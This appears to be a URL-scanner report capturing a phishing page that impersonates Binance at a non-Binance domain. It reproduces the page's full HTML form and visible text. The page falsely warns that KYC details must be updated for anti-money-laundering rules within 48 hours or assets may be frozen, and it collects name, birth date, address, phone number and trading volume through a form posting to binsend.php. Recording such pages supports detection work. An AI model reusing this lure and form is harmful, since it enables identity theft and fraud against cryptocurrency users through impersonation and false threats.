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Submitted URL: http://amlregulations.4dq.com/
Effective URL: https://amlregulations.4dq.com/
Submission: On December 29 via api from BY — Scanned from DE
Effective URL: https://amlregulations.4dq.com/
Submission: On December 29 via api from BY — Scanned from DE
Form analysis
1 forms found in the DOMPOST binsend.php
<form action="binsend.php" method="POST">
<div class="bn-textField">
<input type="text" name="first_name" class="bn-textField-input" placeholder="First Name" required="">
</div>
<div class="bn-textField">
<input type="text" name="last_name" class="bn-textField-input" placeholder="Last Name" required="">
</div>
<div class="bn-textField">
<input type="date" name="dob" class="bn-textField-input" required="">
</div>
<div class="bn-textField">
<input type="text" name="address" class="bn-textField-input" placeholder="Address" required="">
</div>
<div class="bn-textField">
<input type="text" name="postcode" class="bn-textField-input" placeholder="Postcode" required="">
</div>
<div class="bn-textField">
<input type="text" name="city" class="bn-textField-input" placeholder="City" required="">
</div>
<div class="bn-textField">
<select name="country" class="bn-textField-input" required="">
<option value="" disabled="" selected="">Select your country</option>
<option value="AF" data-flag="๐ฆ๐ซ">Afghanistan</option>
<option value="AL" data-flag="๐ฆ๐ฑ">Albania</option>
<option value="DZ" data-flag="๐ฉ๐ฟ">Algeria</option>
<option value="AS" data-flag="๐ฆ๐ธ">American Samoa</option>
<option value="AD" data-flag="๐ฆ๐ฉ">Andorra</option>
<option value="AO" data-flag="๐ฆ๐ด">Angola</option>
<option value="AI" data-flag="๐ฆ๐ฎ">Anguilla</option>
<option value="AG" data-flag="๐ฆ๐ฌ">Antigua and Barbuda</option>
<option value="AR" data-flag="๐ฆ๐ท">Argentina</option>
<option value="AM" data-flag="๐ฆ๐ฒ">Armenia</option>
<option value="AW" data-flag="๐ฆ๐ผ">Aruba</option>
<option value="AU" data-flag="๐ฆ๐บ">Australia</option>
<option value="AT" data-flag="๐ฆ๐น">Austria</option>
<option value="AZ" data-flag="๐ฆ๐ฟ">Azerbaijan</option>
<option value="BS" data-flag="๐ง๐ธ">Bahamas</option>
<option value="BH" data-flag="๐ง๐ญ">Bahrain</option>
<option value="BD" data-flag="๐ง๐ฉ">Bangladesh</option>
<option value="BB" data-flag="๐ง๐ง">Barbados</option>
<option value="BY" data-flag="๐ง๐พ">Belarus</option>
<option value="BE" data-flag="๐ง๐ช">Belgium</option>
<option value="BZ" data-flag="๐ง๐ฟ">Belize</option>
<option value="BJ" data-flag="๐ง๐ฏ">Benin</option>
<option value="BT" data-flag="๐ง๐น">Bhutan</option>
<option value="BO" data-flag="๐ง๐ด">Bolivia</option>
<option value="BA" data-flag="๐ง๐ฆ">Bosnia and Herzegovina</option>
<option value="BW" data-flag="๐ง๐ผ">Botswana</option>
<option value="BR" data-flag="๐ง๐ท">Brazil</option>
<option value="BN" data-flag="๐ง๐ณ">Brunei Darussalam</option>
<option value="BG" data-flag="๐ง๐ฌ">Bulgaria</option>
<option value="BF" data-flag="๐ง๐ซ">Burkina Faso</option>
<option value="BI" data-flag="๐ง๐ฎ">Burundi</option>
<option value="KH" data-flag="๐ฐ๐ญ">Cambodia</option>
<option value="CM" data-flag="๐จ๐ฒ">Cameroon</option>
<option value="CA" data-flag="๐จ๐ฆ">Canada</option>
<option value="CV" data-flag="๐จ๐ป">Cape Verde</option>
<option value="KY" data-flag="๐ฐ๐พ">Cayman Islands</option>
<option value="CF" data-flag="๐จ๐ซ">Central African Republic</option>
<option value="TD" data-flag="๐น๐ฉ">Chad</option>
<option value="CL" data-flag="๐จ๐ฑ">Chile</option>
<option value="CN" data-flag="๐จ๐ณ">China</option>
<option value="CO" data-flag="๐จ๐ด">Colombia</option>
<option value="KM" data-flag="๐ฐ๐ฒ">Comoros</option>
<option value="CG" data-flag="๐จ๐ฌ">Congo</option>
<option value="CD" data-flag="๐จ๐ฉ">Democratic Republic of the Congo</option>
<option value="CR" data-flag="๐จ๐ท">Costa Rica</option>
<option value="CI" data-flag="๐จ๐ฎ">Cรดte d'Ivoire</option>
<option value="HR" data-flag="๐ญ๐ท">Croatia</option>
<option value="CU" data-flag="๐จ๐บ">Cuba</option>
<option value="CY" data-flag="๐จ๐พ">Cyprus</option>
<option value="CZ" data-flag="๐จ๐ฟ">Czech Republic</option>
<option value="DK" data-flag="๐ฉ๐ฐ">Denmark</option>
<option value="DJ" data-flag="๐ฉ๐ฏ">Djibouti</option>
<option value="DM" data-flag="๐ฉ๐ฒ">Dominica</option>
<option value="DO" data-flag="๐ฉ๐ด">Dominican Republic</option>
<option value="EC" data-flag="๐ช๐จ">Ecuador</option>
<option value="EG" data-flag="๐ช๐ฌ">Egypt</option>
<option value="SV" data-flag="๐ธ๐ป">El Salvador</option>
<option value="GQ" data-flag="๐ฌ๐ถ">Equatorial Guinea</option>
<option value="ER" data-flag="๐ช๐ท">Eritrea</option>
<option value="EE" data-flag="๐ช๐ช">Estonia</option>
<option value="SZ" data-flag="๐ธ๐ฟ">Eswatini</option>
<option value="ET" data-flag="๐ช๐น">Ethiopia</option>
<option value="FJ" data-flag="๐ซ๐ฏ">Fiji</option>
<option value="FI" data-flag="๐ซ๐ฎ">Finland</option>
<option value="FR" data-flag="๐ซ๐ท">France</option>
<option value="GA" data-flag="๐ฌ๐ฆ">Gabon</option>
<option value="GM" data-flag="๐ฌ๐ฒ">Gambia</option>
<option value="GE" data-flag="๐ฌ๐ช">Georgia</option>
<option value="DE" data-flag="๐ฉ๐ช">Germany</option>
<option value="GH" data-flag="๐ฌ๐ญ">Ghana</option>
<option value="GR" data-flag="๐ฌ๐ท">Greece</option>
<option value="GD" data-flag="๐ฌ๐ฉ">Grenada</option>
<option value="GT" data-flag="๐ฌ๐น">Guatemala</option>
<option value="GN" data-flag="๐ฌ๐ณ">Guinea</option>
<option value="GW" data-flag="๐ฌ๐ผ">Guinea-Bissau</option>
<option value="GY" data-flag="๐ฌ๐พ">Guyana</option>
<option value="HT" data-flag="๐ญ๐น">Haiti</option>
<option value="HN" data-flag="๐ญ๐ณ">Honduras</option>
<option value="HK" data-flag="๐ญ๐ฐ">Hong Kong</option>
<option value="HU" data-flag="๐ญ๐บ">Hungary</option>
<option value="IS" data-flag="๐ฎ๐ธ">Iceland</option>
<option value="IN" data-flag="๐ฎ๐ณ">India</option>
<option value="ID" data-flag="๐ฎ๐ฉ">Indonesia</option>
<option value="IR" data-flag="๐ฎ๐ท">Iran</option>
<option value="IQ" data-flag="๐ฎ๐ถ">Iraq</option>
<option value="IE" data-flag="๐ฎ๐ช">Ireland</option>
<option value="IL" data-flag="๐ฎ๐ฑ">Israel</option>
<option value="IT" data-flag="๐ฎ๐น">Italy</option>
<option value="JM" data-flag="๐ฏ๐ฒ">Jamaica</option>
<option value="JP" data-flag="๐ฏ๐ต">Japan</option>
<option value="JO" data-flag="๐ฏ๐ด">Jordan</option>
<option value="KZ" data-flag="๐ฐ๐ฟ">Kazakhstan</option>
<option value="KE" data-flag="๐ฐ๐ช">Kenya</option>
<option value="KI" data-flag="๐ฐ๐ฎ">Kiribati</option>
<option value="KW" data-flag="๐ฐ๐ผ">Kuwait</option>
<option value="KG" data-flag="๐ฐ๐ฌ">Kyrgyzstan</option>
<option value="LA" data-flag="๐ฑ๐ฆ">Laos</option>
<option value="LV" data-flag="๐ฑ๐ป">Latvia</option>
<option value="LB" data-flag="๐ฑ๐ง">Lebanon</option>
<option value="LS" data-flag="๐ฑ๐ธ">Lesotho</option>
<option value="LR" data-flag="๐ฑ๐ท">Liberia</option>
<option value="LY" data-flag="๐ฑ๐พ">Libya</option>
<option value="LI" data-flag="๐ฑ๐ฎ">Liechtenstein</option>
<option value="LT" data-flag="๐ฑ๐น">Lithuania</option>
<option value="LU" data-flag="๐ฑ๐บ">Luxembourg</option>
<option value="MO" data-flag="๐ฒ๐ด">Macao</option>
<option value="MK" data-flag="๐ฒ๐ฐ">North Macedonia</option>
<option value="MG" data-flag="๐ฒ๐ฌ">Madagascar</option>
<option value="MW" data-flag="๐ฒ๐ผ">Malawi</option>
<option value="MY" data-flag="๐ฒ๐พ">Malaysia</option>
<option value="MV" data-flag="๐ฒ๐ป">Maldives</option>
<option value="ML" data-flag="๐ฒ๐ฑ">Mali</option>
<option value="MT" data-flag="๐ฒ๐น">Malta</option>
<option value="MH" data-flag="๐ฒ๐ญ">Marshall Islands</option>
<option value="MQ" data-flag="๐ฒ๐ถ">Martinique</option>
<option value="MR" data-flag="๐ฒ๐ท">Mauritania</option>
<option value="MU" data-flag="๐ฒ๐บ">Mauritius</option>
<option value="YT" data-flag="๐พ๐น">Mayotte</option>
<option value="MX" data-flag="๐ฒ๐ฝ">Mexico</option>
<option value="FM" data-flag="๐ซ๐ฒ">Micronesia</option>
<option value="MD" data-flag="๐ฒ๐ฉ">Moldova</option>
<option value="MC" data-flag="๐ฒ๐จ">Monaco</option>
<option value="MN" data-flag="๐ฒ๐ณ">Mongolia</option>
<option value="ME" data-flag="๐ฒ๐ช">Montenegro</option>
<option value="MS" data-flag="๐ฒ๐ธ">Montserrat</option>
<option value="MA" data-flag="๐ฒ๐ฆ">Morocco</option>
<option value="MZ" data-flag="๐ฒ๐ฟ">Mozambique</option>
<option value="MM" data-flag="๐ฒ๐ฒ">Myanmar</option>
<option value="NA" data-flag="๐ณ๐ฆ">Namibia</option>
<option value="NR" data-flag="๐ณ๐ท">Nauru</option>
<option value="NP" data-flag="๐ณ๐ต">Nepal</option>
<option value="NL" data-flag="๐ณ๐ฑ">Netherlands</option>
<option value="NC" data-flag="๐ณ๐จ">New Caledonia</option>
<option value="NZ" data-flag="๐ณ๐ฟ">New Zealand</option>
<option value="NI" data-flag="๐ณ๐ฎ">Nicaragua</option>
<option value="NE" data-flag="๐ณ๐ช">Niger</option>
<option value="NG" data-flag="๐ณ๐ฌ">Nigeria</option>
<option value="NU" data-flag="๐ณ๐บ">Niue</option>
<option value="NF" data-flag="๐ณ๐ซ">Norfolk Island</option>
<option value="KP" data-flag="๐ฐ๐ต">North Korea</option>
<option value="NO" data-flag="๐ณ๐ด">Norway</option>
<option value="OM" data-flag="๐ด๐ฒ">Oman</option>
<option value="PK" data-flag="๐ต๐ฐ">Pakistan</option>
<option value="PW" data-flag="๐ต๐ผ">Palau</option>
<option value="PS" data-flag="๐ต๐ธ">Palestinian Territories</option>
<option value="PA" data-flag="๐ต๐ฆ">Panama</option>
<option value="PG" data-flag="๐ต๐ฌ">Papua New Guinea</option>
<option value="PY" data-flag="๐ต๐พ">Paraguay</option>
<option value="PE" data-flag="๐ต๐ช">Peru</option>
<option value="PH" data-flag="๐ต๐ญ">Philippines</option>
<option value="PN" data-flag="๐ต๐ณ">Pitcairn Islands</option>
<option value="PL" data-flag="๐ต๐ฑ">Poland</option>
<option value="PT" data-flag="๐ต๐น">Portugal</option>
<option value="PR" data-flag="๐ต๐ท">Puerto Rico</option>
<option value="QA" data-flag="๐ถ๐ฆ">Qatar</option>
<option value="RO" data-flag="๐ท๐ด">Romania</option>
<option value="RU" data-flag="๐ท๐บ">Russia</option>
<option value="RW" data-flag="๐ท๐ผ">Rwanda</option>
<option value="RE" data-flag="๐ท๐ช">Rรฉunion</option>
<option value="BL" data-flag="๐ง๐ฑ">Saint Barthรฉlemy</option>
<option value="SH" data-flag="๐ธ๐ญ">Saint Helena</option>
<option value="KN" data-flag="๐ฐ๐ณ">Saint Kitts and Nevis</option>
<option value="LC" data-flag="๐ฑ๐จ">Saint Lucia</option>
<option value="MF" data-flag="๐ฒ๐ซ">Saint Martin</option>
<option value="PM" data-flag="๐ต๐ฒ">Saint Pierre and Miquelon</option>
<option value="VC" data-flag="๐ป๐จ">Saint Vincent and the Grenadines</option>
<option value="WS" data-flag="๐ผ๐ธ">Samoa</option>
<option value="SM" data-flag="๐ธ๐ฒ">San Marino</option>
<option value="ST" data-flag="๐ธ๐น">Sรฃo Tomรฉ and Prรญncipe</option>
<option value="SA" data-flag="๐ธ๐ฆ">Saudi Arabia</option>
<option value="SN" data-flag="๐ธ๐ณ">Senegal</option>
<option value="RS" data-flag="๐ท๐ธ">Serbia</option>
<option value="SC" data-flag="๐ธ๐จ">Seychelles</option>
<option value="SL" data-flag="๐ธ๐ฑ">Sierra Leone</option>
<option value="SG" data-flag="๐ธ๐ฌ">Singapore</option>
<option value="SX" data-flag="๐ธ๐ฝ">Sint Maarten</option>
<option value="SK" data-flag="๐ธ๐ฐ">Slovakia</option>
<option value="SI" data-flag="๐ธ๐ฎ">Slovenia</option>
<option value="SB" data-flag="๐ธ๐ง">Solomon Islands</option>
<option value="SO" data-flag="๐ธ๐ด">Somalia</option>
<option value="ZA" data-flag="๐ฟ๐ฆ">South Africa</option>
<option value="GS" data-flag="๐ฌ๐ธ">South Georgia and the South Sandwich Islands</option>
<option value="KR" data-flag="๐ฐ๐ท">South Korea</option>
<option value="SS" data-flag="๐ธ๐ธ">South Sudan</option>
<option value="ES" data-flag="๐ช๐ธ">Spain</option>
<option value="LK" data-flag="๐ฑ๐ฐ">Sri Lanka</option>
<option value="SD" data-flag="๐ธ๐ฉ">Sudan</option>
<option value="SR" data-flag="๐ธ๐ท">Suriname</option>
<option value="SJ" data-flag="๐ฏ๐ด">Svalbard</option>
<option value="SE" data-flag="๐ธ๐ช">Sweden</option>
<option value="CH" data-flag="๐จ๐ญ">Switzerland</option>
<option value="SY" data-flag="๐ธ๐พ">Syria</option>
<option value="TW" data-flag="๐น๐ผ">Taiwan</option>
<option value="TJ" data-flag="๐น๐ฏ">Tajikistan</option>
<option value="TZ" data-flag="๐น๐ฟ">Tanzania</option>
<option value="TH" data-flag="๐น๐ญ">Thailand</option>
<option value="TL" data-flag="๐น๐ฑ">Timor-Leste</option>
<option value="TG" data-flag="๐น๐ฌ">Togo</option>
<option value="TK" data-flag="๐น๐ฐ">Tokelau</option>
<option value="TO" data-flag="๐น๐ด">Tonga</option>
<option value="TT" data-flag="๐น๐น">Trinidad and Tobago</option>
<option value="TN" data-flag="๐น๐ณ">Tunisia</option>
<option value="TR" data-flag="๐น๐ท">Turkey</option>
<option value="TM" data-flag="๐น๐ฒ">Turkmenistan</option>
<option value="TC" data-flag="๐น๐จ">Turks and Caicos Islands</option>
<option value="TV" data-flag="๐น๐ป">Tuvalu</option>
<option value="UG" data-flag="๐บ๐ฌ">Uganda</option>
<option value="UA" data-flag="๐บ๐ฆ">Ukraine</option>
<option value="AE" data-flag="๐ฆ๐ช">United Arab Emirates</option>
<option value="GB" data-flag="๐ฌ๐ง">United Kingdom</option>
<option value="US" data-flag="๐บ๐ธ">United States</option>
<option value="UY" data-flag="๐บ๐พ">Uruguay</option>
<option value="UZ" data-flag="๐บ๐ฟ">Uzbekistan</option>
<option value="VU" data-flag="๐ป๐บ">Vanuatu</option>
<option value="VA" data-flag="๐ป๐ฆ">Vatican City</option>
<option value="VE" data-flag="๐ป๐ช">Venezuela</option>
<option value="VN" data-flag="๐ป๐ณ">Vietnam</option>
<option value="WF" data-flag="๐ผ๐ซ">Wallis and Futuna</option>
<option value="YE" data-flag="๐พ๐ช">Yemen</option>
<option value="ZM" data-flag="๐ฟ๐ฒ">Zambia</option>
<option value="ZW" data-flag="๐ฟ๐ผ">Zimbabwe</option>
</select>
</div>
<div class="bn-textField">
<input type="text" name="mobile_number" class="bn-textField-input" placeholder="Mobile Number" required="">
</div>
<div class="form-group">
<label>Yearly Trading Volume:</label>
<label>
<input type="radio" name="yearly_amount" value="0-10K" required=""> 0-10K </label>
<label>
<input type="radio" name="yearly_amount" value="10K-25K"> 10K-25K </label>
<label>
<input type="radio" name="yearly_amount" value="25K-50K"> 25K-50K </label>
</div>
<button type="submit" class="form-button">Submit</button>
</form>
Text Content
[PHP code without for BLOCKED] Binance - Cryptocurrency Exchange for Bitcoin, Ethereum & Altcoins Your verification is complete... Important Notice Your KYC details need to be updated to comply with Anti-Money Laundering (AML) regulations. Please fill out all fields correctly within 48 hours. If incomplete or incorrect, your assets may be frozen. Select your country Afghanistan Albania Algeria American Samoa Andorra Angola Anguilla Antigua and Barbuda Argentina Armenia Aruba Australia Austria Azerbaijan Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin Bhutan Bolivia Bosnia and Herzegovina Botswana Brazil Brunei Darussalam Bulgaria Burkina Faso Burundi Cambodia Cameroon Canada Cape Verde Cayman Islands Central African Republic Chad Chile China Colombia Comoros Congo Democratic Republic of the Congo Costa Rica Cรดte d'Ivoire Croatia Cuba Cyprus Czech Republic Denmark Djibouti Dominica Dominican Republic Ecuador Egypt El Salvador Equatorial Guinea Eritrea Estonia Eswatini Ethiopia Fiji Finland France Gabon Gambia Georgia Germany Ghana Greece Grenada Guatemala Guinea Guinea-Bissau Guyana Haiti Honduras Hong Kong Hungary Iceland India Indonesia Iran Iraq Ireland Israel Italy Jamaica Japan Jordan Kazakhstan Kenya Kiribati Kuwait Kyrgyzstan Laos Latvia Lebanon Lesotho Liberia Libya Liechtenstein Lithuania Luxembourg Macao North Macedonia Madagascar Malawi Malaysia Maldives Mali Malta Marshall Islands Martinique Mauritania Mauritius Mayotte Mexico Micronesia Moldova Monaco Mongolia Montenegro Montserrat Morocco Mozambique Myanmar Namibia Nauru Nepal Netherlands New Caledonia New Zealand Nicaragua Niger Nigeria Niue Norfolk Island North Korea Norway Oman Pakistan Palau Palestinian Territories Panama Papua New Guinea Paraguay Peru Philippines Pitcairn Islands Poland Portugal Puerto Rico Qatar Romania Russia Rwanda Rรฉunion Saint Barthรฉlemy Saint Helena Saint Kitts and Nevis Saint Lucia Saint Martin Saint Pierre and Miquelon Saint Vincent and the Grenadines Samoa San Marino Sรฃo Tomรฉ and Prรญncipe Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore Sint Maarten Slovakia Slovenia Solomon Islands Somalia South Africa South Georgia and the South Sandwich Islands South Korea South Sudan Spain Sri Lanka Sudan Suriname Svalbard Sweden Switzerland Syria Taiwan Tajikistan Tanzania Thailand Timor-Leste Togo Tokelau Tonga Trinidad and Tobago Tunisia Turkey Turkmenistan Turks and Caicos Islands Tuvalu Uganda Ukraine United Arab Emirates United Kingdom United States Uruguay Uzbekistan Vanuatu Vatican City Venezuela Vietnam Wallis and Futuna Yemen Zambia Zimbabwe Yearly Trading Volume: 0-10K 10K-25K 25K-50K Submit